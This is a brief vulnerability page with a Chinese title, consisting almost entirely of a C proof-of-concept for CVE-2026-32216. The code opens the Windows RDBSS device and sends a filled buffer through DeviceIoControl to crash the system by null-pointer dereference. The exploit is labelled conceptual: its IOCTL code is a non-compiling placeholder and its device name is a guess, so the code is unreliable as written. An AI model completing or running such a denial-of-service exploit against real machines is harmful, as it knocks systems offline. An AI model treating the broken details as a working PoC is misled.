CVE-2026-32216 Windows重定向驱动缓冲空指针拒绝服务漏洞

#include <windows.h> #include <stdio.h> // PoC for CVE-2026-32216 // Conceptual demonstration of triggering a Null Pointer Dereference in RDBSS int main() { HANDLE hDevice; DWORD bytesReturned; char inputData[0x20] = {0}; // Attempt to obtain a handle to the RDBSS device // Note: The actual device link name may vary depending on the specific Windows version and configuration hDevice = CreateFileA("\\\\.\\Rdbss", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[*] This PoC requires the vulnerable driver to be loaded and accessible.\n"); return 1; } printf("[+] Device opened successfully. Handle: 0x%p\n", hDevice); // Prepare input buffer to trigger the vulnerability // The specific data structure depends on the internal logic of the RDBSS driver memset(inputData, 0x41, sizeof(inputData)); printf("[*] Sending malicious IOCTL to trigger Null Pointer Dereference...\n"); // Sending the DeviceIoControl request // 0xXXXXXX represents the specific IOCTL code that triggers the bug BOOL result = DeviceIoControl(hDevice, 0xXXXXXX, // Vulnerable IOCTL Code inputData, sizeof(inputData), NULL, 0, &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] IOCTL returned successfully. If the bug exists, the system may crash now.\n"); } CloseHandle(hDevice); return 0; }